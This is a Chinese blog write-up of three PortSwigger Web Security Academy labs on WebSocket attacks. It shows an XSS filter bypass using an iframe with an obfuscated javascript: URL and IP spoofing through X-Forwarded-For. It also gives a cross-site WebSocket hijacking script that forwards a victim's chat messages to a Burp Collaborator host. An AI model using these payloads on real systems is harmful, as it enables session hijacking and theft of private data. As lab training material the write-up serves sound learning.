首页 > Web开发 > 详细

Portswigger web security academy:WebSockets

时间:2021-03-28 17:09:26      阅读:17      评论:0      收藏:0      [点我收藏+]

Portswigger web security academy:WebSockets

Lab: Manipulating WebSocket messages to exploit vulnerabilities

  • 题目描述
    • 在线商城有一个用WebSockets实现的在线聊天功能
    • 你提交的聊天消息会被辅助客户端实时查看
  • 要求
    • 使用WebScoket消息触发alert()
  • 解题步骤
    • 只是把HTTP协议换成WebSockets协议,核心思想方法没有变
    • 在WebSockets history中把发送信息的请求包发送到Repeater
    • 把消息内容修改为xss payload

Lab: Manipulating the WebSocket handshake to exploit vulnerabilities

  • 题目描述
    • 在线商城有一个用WebSockets实现的在线聊天功能
    • 它有一个主动但是存在缺陷的XSS过滤器
  • 要求
    • 使用WebScoket消息触发alert()
  • 解题过程
    • 测一下过滤了些啥:(连接失败后,利用X-Forwarded-For伪造IP重置连接即可)
      • 过滤了n多标签,iframe可用
      • 过滤了()
      • 过滤了onxxxx事件
      • 过滤了javascript
    • 最后的payload和solution一样 <iframe src=‘JavAsCript:alert`1`‘>

Lab: Cross-site WebSocket hijacking

  • 题目描述

    • 在线商城有一个用WebSockets实现的在线聊天功能
  • 要求

    • 使用exploit server构造一个跨站点WebSocket劫持攻击,来获取受害者的聊天历史,并接管账号
  • 解题过程

    • websocket劫持和利用iframe通信进行csrf比较类似,通过事件绑定来返回数据

    • 脚本参考solution,没有考虑到onopen事件的处理

    • <script>
      websocket = new WebSocket(‘wss://ac9c1ff41e8e379c807359aa0094001e.web-security-academy.net/chat‘)
      websocket.onopen = function start(event) {
        websocket.send("READY");
      }
      websocket.onmessage = function handleReply(event) {
        fetch(‘https://4bg8qgdszeud8bkot06y0rrg177xvm.burpcollaborator.net/?‘+event.data, {mode: ‘no-cors‘})
      }
      
      </script>
      

Portswigger web security academy:WebSockets

原文:https://www.cnblogs.com/R3col/p/14588513.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!